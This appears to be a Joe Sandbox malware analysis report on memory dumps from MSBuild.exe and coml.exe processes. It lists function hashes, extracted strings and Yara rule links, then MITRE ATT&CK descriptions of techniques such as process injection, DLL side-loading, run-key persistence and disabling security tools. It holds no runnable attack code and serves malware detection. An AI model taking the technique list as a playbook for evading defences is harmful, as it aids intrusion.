Instruction ID: 2e9b3b31b40a8db955cc8564e342eb24404bf524c2d0801a5dee62bbea2a16d8
Opcode Fuzzy Hash: 753cf3a3bc47565f2e7d62da9f2a05397da9319bd13ab5a43105194b1d9d8dd5
Instruction Fuzzy Hash: 88B1BB74E012088FDB14DFA9D988AADBBF2FF88310F248169E419AB395D734A945CF54

Function 00E9AE5F Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3260164113.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e90000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 865ce5fa49e7ad029054d34d45613ec3a752e0e4a21047f703e7ea278e7742b0
Instruction ID: 227784362f5d7beac931a1ef4e35b9a1da7ae62a9df6cd4a32ba1e6200a540a3
Opcode Fuzzy Hash: 865ce5fa49e7ad029054d34d45613ec3a752e0e4a21047f703e7ea278e7742b0
Instruction Fuzzy Hash: BC411574E012088FCF14DFA8D5885EDBBB2FF4A315F18A524E419F7294C7349982CB95

Function 00E9EE00 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3260164113.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e90000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c23979b81eb3659993755fe9fc609c49ac3d048bab9d42ba7d07d75555c9b1ae
Instruction ID: 0803b746bae1956ecff6f71c9073b22ff126ae314cdd3013a3c93084d724b0ad
Opcode Fuzzy Hash: c23979b81eb3659993755fe9fc609c49ac3d048bab9d42ba7d07d75555c9b1ae
Instruction Fuzzy Hash: 9741AE74D00219DFCF00CFA9D980AEEBBB1FF48310F149566E915A7364E734AA86CB55

Function 00E9AD58 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3260164113.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e90000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ddf761147270009bb373781c35baab6d6b778ff801e9f384de32506be86ad32
Instruction ID: 3e2969a0edebc19b3ac8ba57ec896646f50b379c426e6928d737213f1d995f2e
Opcode Fuzzy Hash: 4ddf761147270009bb373781c35baab6d6b778ff801e9f384de32506be86ad32
Instruction Fuzzy Hash: 9031F674E002488FDB08DFAAD9886EDFBF2BF89300F18D129D405AB398DB345985CB55

Function 00E9AD68 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3260164113.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e90000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe63d3628b3f640d4c09a8cc285978461c3753f5092c22c9defd69bc3c3c30d6
Instruction ID: 3d1671daf0d278d39757a08ead327a858b47ded0a2da03fe268010a1465a38eb
Opcode Fuzzy Hash: fe63d3628b3f640d4c09a8cc285978461c3753f5092c22c9defd69bc3c3c30d6
Instruction Fuzzy Hash: 3A31E775E002089BDB08DFAAD9846EDFBF2BF89310F18D129E405BB398DB345985CB55

Function 00DED614 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3259059089.0000000000DED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_ded000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe46aeb317d12e0ea59f42eea422cc2b4551362cab0a40861c65ceb9fabe1173
Instruction ID: 9a4592784c6dc936a86b9a2df9a1b9345df771f7b6890bc2ac4f210ef6a1697c
Opcode Fuzzy Hash: fe46aeb317d12e0ea59f42eea422cc2b4551362cab0a40861c65ceb9fabe1173
Instruction Fuzzy Hash: 98212472504288DFDB05AF10D9C4B16BB62FB88314F2482ADE94D0A256C736D816CBB2

Function 00DED4D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3259059089.0000000000DED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_ded000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e073be2aaa26a9f9f08fb4fc4b02d0867a3834281490eebe07c4b97c929abb1
Instruction ID: 7f530f3898103eac383815a3f2f363ae2be31ca0b876597cb8446d4fb2800c35
Opcode Fuzzy Hash: 5e073be2aaa26a9f9f08fb4fc4b02d0867a3834281490eebe07c4b97c929abb1
Instruction Fuzzy Hash: 49212571604380DFDB14EF14D9C0B26BF66FB98328F248169E8090F256C736D856CBB2

Function 00DFD208 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3259336262.0000000000DFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_dfd000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 191a1244fe1c6d68f37abc81e4ec8980168eef6b659364fdd0c550f94bdc73d9
Instruction ID: b5bbc74286bd10bf508cedb3b0e32787ee0ac813fa22c4d9b65a78b786c6b10f
Opcode Fuzzy Hash: 191a1244fe1c6d68f37abc81e4ec8980168eef6b659364fdd0c550f94bdc73d9
Instruction Fuzzy Hash: 00210471604248DFDB10DF10D9C4B2ABB67EB84324F24C569EA494B245C336D84ACAB6

Function 00DFD580 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3259336262.0000000000DFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_dfd000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ad1a175ba740822d7ba7b9a4f9fa98be3c6aa2d4041232829c1ef3150bec387
Instruction ID: b89475859a403902bbcc8d22b6dcc1052dc6c44494bd595d3f7ecd1671a669e9
Opcode Fuzzy Hash: 0ad1a175ba740822d7ba7b9a4f9fa98be3c6aa2d4041232829c1ef3150bec387
Instruction Fuzzy Hash: EB21F2B5604208DFDB14DF14D9C4B26BB67EB88314F24C56DEA4D8B386C336D846CA72

Function 00DFD3B8 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3259336262.0000000000DFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_dfd000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a5efdc2e0c464820e9d8a6a0e9ba95274835690d60fe74a2d8d3ccfcc387301
Instruction ID: 818c4bb19c544d09ee09eecfb30cc921bcad520cbaedc9efeb9979f51a35d033
Opcode Fuzzy Hash: 9a5efdc2e0c464820e9d8a6a0e9ba95274835690d60fe74a2d8d3ccfcc387301
Instruction Fuzzy Hash: F8210475604208DFDB04DF14D9C4B26BBA7FB84314F24C56DDA4A4B286C336E846CA72

Function 00DED60F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3259059089.0000000000DED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_ded000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ce60a6613beba357b00576ac525f5d38281a445edcd2f7d64ba7977a5eeb665
Instruction ID: 80afdbf33105e382e2ddedcd933470a3ce8bceac904abf65190c7c3e46f939de
Opcode Fuzzy Hash: 5ce60a6613beba357b00576ac525f5d38281a445edcd2f7d64ba7977a5eeb665
Instruction Fuzzy Hash: CE219D76504284DFCB16DF14D9C4B16BF72FB88314F2886A9D9490A656C33AD826CBA1

Function 00DED4D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3259059089.0000000000DED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_ded000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction ID: 7611425360146e6fa640cb1a3b1f78168c78582a39901916d24f84b80f19df73
Opcode Fuzzy Hash: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction Fuzzy Hash: 8D11E676504280CFCB15DF14D9C4B16BF72FB95328F28C6A9D8090B256C33AD856CBA1

Function 00DFD203 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3259336262.0000000000DFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_dfd000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf2aa0ac69dbfc9ab00947b0048f034b327edea99ed69b312f674443a93577a4
Instruction ID: 8a47c7822040baca66bc3bd43b8099672e9a453de89a66dc65134604e0122d53
Opcode Fuzzy Hash: bf2aa0ac69dbfc9ab00947b0048f034b327edea99ed69b312f674443a93577a4
Instruction Fuzzy Hash: B611BF76504284DFCB12DF14D5C4B25FB72FB84324F29C6AAD9494B656C33AD80ACBA2

Function 00DFD57B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3259336262.0000000000DFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_dfd000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction ID: 0c1a5134dd679249975c44daac875790359902a57a023308f60416ca2d3a18b1
Opcode Fuzzy Hash: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction Fuzzy Hash: 6311BB75504288CFCB05CF10D5C0B25BBA2FB84324F28C6AAD94D8B296C33AD84ACB61

Function 00DFD3B3 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3259336262.0000000000DFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_dfd000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction ID: eab34f06836a85e933e1583fe931608dec3e351990c196dab53dab586ddbf3bd
Opcode Fuzzy Hash: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction Fuzzy Hash: 0F119D75504284DFCB05CF14D5C4B25FBA2FB84324F28C6AED9494B696C33AE84ACF62

Function 00E9EDF0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3260164113.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e90000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0d0ee355616b6b2f5babf684a2691c1ccf269937935eb46bd0e5bc115508642
Instruction ID: 205e58600ca98b71c69b215cfc06f196b26a817841ca55983ef68691609b3d24
Opcode Fuzzy Hash: f0d0ee355616b6b2f5babf684a2691c1ccf269937935eb46bd0e5bc115508642
Instruction Fuzzy Hash: F5015E75D04289DFEF05CFA6D8546EEBBB1AF85304F14906AD905A2351D7341A06CB51

Function 00E9EFD8 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3260164113.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e90000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b221bf89a6a8f82ecfc6daf937d567397d448acefdca48f0eab4073df1b7cc81
Instruction ID: 0df7d26fd15926c101eec4d987388b7e117c9f78f7108e496f28abdf573a6ffe
Opcode Fuzzy Hash: b221bf89a6a8f82ecfc6daf937d567397d448acefdca48f0eab4073df1b7cc81
Instruction Fuzzy Hash: ABF0E532D042289BEB40EA6DD8553EEB37ADFC6708F419030C514A7190EFB85507CAE5

Function 00E9AFC3 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3260164113.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e90000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca2442f4437a5a57e444d52e97c4c848100bbe7461b9ed06eb8a4b6cf92db209
Instruction ID: 578377fcfac8acbd6197989d1e6329d1727ff2863c04364f496d81e20394a535
Opcode Fuzzy Hash: ca2442f4437a5a57e444d52e97c4c848100bbe7461b9ed06eb8a4b6cf92db209
Instruction Fuzzy Hash: CFF08970D09384AFCB01EFB8E8555ACBFB1DF86304F1485EDC445D72A6D6710956CB62

Function 00E9EFE8 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3260164113.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e90000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30a8738926358fff8d2115d90677033988953857c8b4582df5fb5b55bf1ff4a8
Instruction ID: f890ed75953f18fc24575a2a7c083fafd3bd0baa0db5ff61d8ae43f6b0522277
Opcode Fuzzy Hash: 30a8738926358fff8d2115d90677033988953857c8b4582df5fb5b55bf1ff4a8
Instruction Fuzzy Hash: F4E04F30D443089BDB009BA9E8182FEB7B9EB8B311F40A434D114B2291DBB85915CEA5

Function 00E9AFD0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3260164113.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e90000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c25a1a415d498708cbaa927401e2f430191fc61e50b8fac57f684973b3db9aa
Instruction ID: aa2d434b382f693b010a18a2925746836565845bff0fd10008bfd548f0428450
Opcode Fuzzy Hash: 6c25a1a415d498708cbaa927401e2f430191fc61e50b8fac57f684973b3db9aa
Instruction Fuzzy Hash: DCE06D70E01309EBCB00EFA9E8496ACBBB6EF44304F10C1A8C405A32A0EB305A45CB62

Analysis Process: coml.exePID: 4208, Parent PID: 4056COMMON

Non-executed Functions

Function 000000A1F45CAD80 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2381593901.000000A1F45CA000.00000004.00000010.00020000.00000000.sdmp, Offset: 000000A1F45CA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_a1f45ca000_coml.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a6693f4e8dfe89911d2e639c559dce8544257bf553d5d86fa2ba29ba1358cf6
Instruction ID: 6d2dbe5cea3e219d97ac4bbd6db00c6fe4fed8f338ec1c57aa0bacd65decd59b
Opcode Fuzzy Hash: 5a6693f4e8dfe89911d2e639c559dce8544257bf553d5d86fa2ba29ba1358cf6
Instruction Fuzzy Hash: 93E02D8250EBC04FE303A7B18C661423F708C5715834F95EBC2D6DF0B3E51A990A9B26

Analysis Process: MSBuild.exePID: 4132, Parent PID: 1588COMMON

Executed Functions

Function 012715E0 Relevance: 9.2, Strings: 6, Instructions: 1717COMMON

Download Yara Rule

Strings

:hW`, xrefs: 01272055
@^#, xrefs: 012728FC
I0=, xrefs: 01271F14
S3., xrefs: 012726D4
WG#`, xrefs: 012718E8
*JL6, xrefs: 01272240

Memory Dump Source

Source File: 00000011.00000002.2448771593.0000000001270000.00000040.00000800.00020000.00000000.sdmp, Offset: 01270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1270000_MSBuild.jbxd

Similarity

API ID:
String ID: *JL6$:hW`$@^#$I0=$S3.$WG#`
API String ID: 0-3669199882
Opcode ID: 7330a10fbedc20dfbe6592d3e84ff8f882c453667c1eafbf38583fa168d14566
Instruction ID: ddc01281cc352e0b680e5a5b649dc0fc3fc55b8ba07e0e7c4908a7ec670e7b65
Opcode Fuzzy Hash: 7330a10fbedc20dfbe6592d3e84ff8f882c453667c1eafbf38583fa168d14566
Instruction Fuzzy Hash: E203F374A1122ACFDB64CF68C981A9ABBF5FF49300F1485A6D819E7315E730AE81CF50

Function 012715C3 Relevance: 6.3, Strings: 4, Instructions: 1252COMMON

Download Yara Rule

Strings

:hW`, xrefs: 01272055
@^#, xrefs: 012728FC
S3., xrefs: 012726D4
*JL6, xrefs: 01272240

Memory Dump Source

Source File: 00000011.00000002.2448771593.0000000001270000.00000040.00000800.00020000.00000000.sdmp, Offset: 01270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1270000_MSBuild.jbxd

Similarity

API ID:
String ID: *JL6$:hW`$@^#$S3.
API String ID: 0-1394080836
Opcode ID: 57cfd8d6871564da1c84565ba1a0553036d4c16dffb2a4a84d8e182109bcf2ac
Instruction ID: a4bdb65ceac19a210c6bbfaadccd42e6fea8e094913cdc524bdbf5aa6f71a478
Opcode Fuzzy Hash: 57cfd8d6871564da1c84565ba1a0553036d4c16dffb2a4a84d8e182109bcf2ac
Instruction Fuzzy Hash: D9D2B374A1022ACFDB54CF68D980A9EBBF5FF49304F1485A6D818E7355E770AA85CF80

Function 01271070 Relevance: 4.1, Strings: 3, Instructions: 353COMMON

Download Yara Rule

Strings

]/, xrefs: 012713E1
35OG, xrefs: 01271467
5xID, xrefs: 01271175

Memory Dump Source

Source File: 00000011.00000002.2448771593.0000000001270000.00000040.00000800.00020000.00000000.sdmp, Offset: 01270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1270000_MSBuild.jbxd

Similarity

API ID:
String ID: 35OG$5xID$]/
API String ID: 0-1761396499
Opcode ID: 0dc0034bfd59226ef13d2d0f43a980a3c9dd2492569bb6a9fad712cb51f84e5e
Instruction ID: 03a3de061d5d404562895ee1239a16c9d5e6e7cc02f524c17edd53518d47c9ce
Opcode Fuzzy Hash: 0dc0034bfd59226ef13d2d0f43a980a3c9dd2492569bb6a9fad712cb51f84e5e
Instruction Fuzzy Hash: C302B078E002198FDB50DFA9C580B9EBBF1BF49304F1481AAD909EB355EB30AE458F51

Function 01271060 Relevance: 1.5, Strings: 1, Instructions: 293COMMON

Download Yara Rule

Strings

5xID, xrefs: 01271175

Memory Dump Source

Source File: 00000011.00000002.2448771593.0000000001270000.00000040.00000800.00020000.00000000.sdmp, Offset: 01270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1270000_MSBuild.jbxd

Similarity

API ID:
String ID: 5xID
API String ID: 0-3965296546
Opcode ID: 2476a463921bbe4dc9e2ace1440152347343d7550252ba5882ca519f5ff07226
Instruction ID: 2fbcf69615a94f1752d5feffdb2d3af0fbc4134004ceb73a3eca5e61329f6ffa
Opcode Fuzzy Hash: 2476a463921bbe4dc9e2ace1440152347343d7550252ba5882ca519f5ff07226
Instruction Fuzzy Hash: AEE1C178E002198FDB54DFA9C580A9EBBF6FF48304F1481AAD449EB355EB34AA45CF50

Function 0127B01F Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

rCI, xrefs: 0127BA4A

Memory Dump Source

Source File: 00000011.00000002.2448771593.0000000001270000.00000040.00000800.00020000.00000000.sdmp, Offset: 01270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1270000_MSBuild.jbxd

Similarity

API ID:
String ID: rCI
API String ID: 0-4128173682
Opcode ID: ce08bb52a46de959878eb4ec0b83b0c8f981cab7005f7fd816da5335ae9380c9
Instruction ID: 8c7cc3fff0b667d3ba4f1362e8601d99ac4fba47b4575767147b22cb5de8b0bb
Opcode Fuzzy Hash: ce08bb52a46de959878eb4ec0b83b0c8f981cab7005f7fd816da5335ae9380c9
Instruction Fuzzy Hash: 28913574E10219DFDB14CF68D881ADEBBF6AF89300F1481AAE918E7315D7709E418F54

Function 0127AD58 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2448771593.0000000001270000.00000040.00000800.00020000.00000000.sdmp, Offset: 01270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1270000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0781df453a6bd054740055932ffd0e84278e23e23def7563920479898913c4f5
Instruction ID: 375196a9f4a79edd74d931403ba13d6e5e052e8088982a4a1824cbaae87618ce
Opcode Fuzzy Hash: 0781df453a6bd054740055932ffd0e84278e23e23def7563920479898913c4f5
Instruction Fuzzy Hash: 90312971D102489FDB08CFAAD5846DEFBF2BF89310F18C529E805AB298DB755945CF14

Function 0127AD68 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2448771593.0000000001270000.00000040.00000800.00020000.00000000.sdmp, Offset: 01270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1270000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01b8e7b1739eac5150f592a32290cbbfc0eefd5243b8afe20c59666c91a201d9
Instruction ID: 0a37111e04da25360c9ef7faa039e8486460773e2571392c92d73140b56c9969
Opcode Fuzzy Hash: 01b8e7b1739eac5150f592a32290cbbfc0eefd5243b8afe20c59666c91a201d9
Instruction Fuzzy Hash: 9A312975D002089FDB08DFAAD9846DEFBF2BF89310F18C529E805AB298DB355985CF14

Function 0127AFC3 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2448771593.0000000001270000.00000040.00000800.00020000.00000000.sdmp, Offset: 01270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1270000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ebc5ced6e1a809e03b495993412865cbe573f60b927e495c147a188d97b6e81
Instruction ID: fb8ded39284d3d8a63f4fb86db1fa53ad71a23bde861c9cccb84379c071ce1f3
Opcode Fuzzy Hash: 1ebc5ced6e1a809e03b495993412865cbe573f60b927e495c147a188d97b6e81
Instruction Fuzzy Hash: 52F0BE70C05384AFCB41EBB8E45569CBFF1AF86204F2485AEC44497156DA310906CB01

Function 0127AFD0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2448771593.0000000001270000.00000040.00000800.00020000.00000000.sdmp, Offset: 01270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1270000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84c5f0b70ef308e361a6c48eb3701bf4bf2d4fcb574c42475030329fd49b0a39
Instruction ID: 67e14e40368c464251a149af15e1a7b78126571c8f75a076946e12461c686ec4
Opcode Fuzzy Hash: 84c5f0b70ef308e361a6c48eb3701bf4bf2d4fcb574c42475030329fd49b0a39
Instruction Fuzzy Hash: 25E06D70D01309EBD740EBA9E44469CBBB5AF44205F5081A9C908A3294EB315A498B51

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
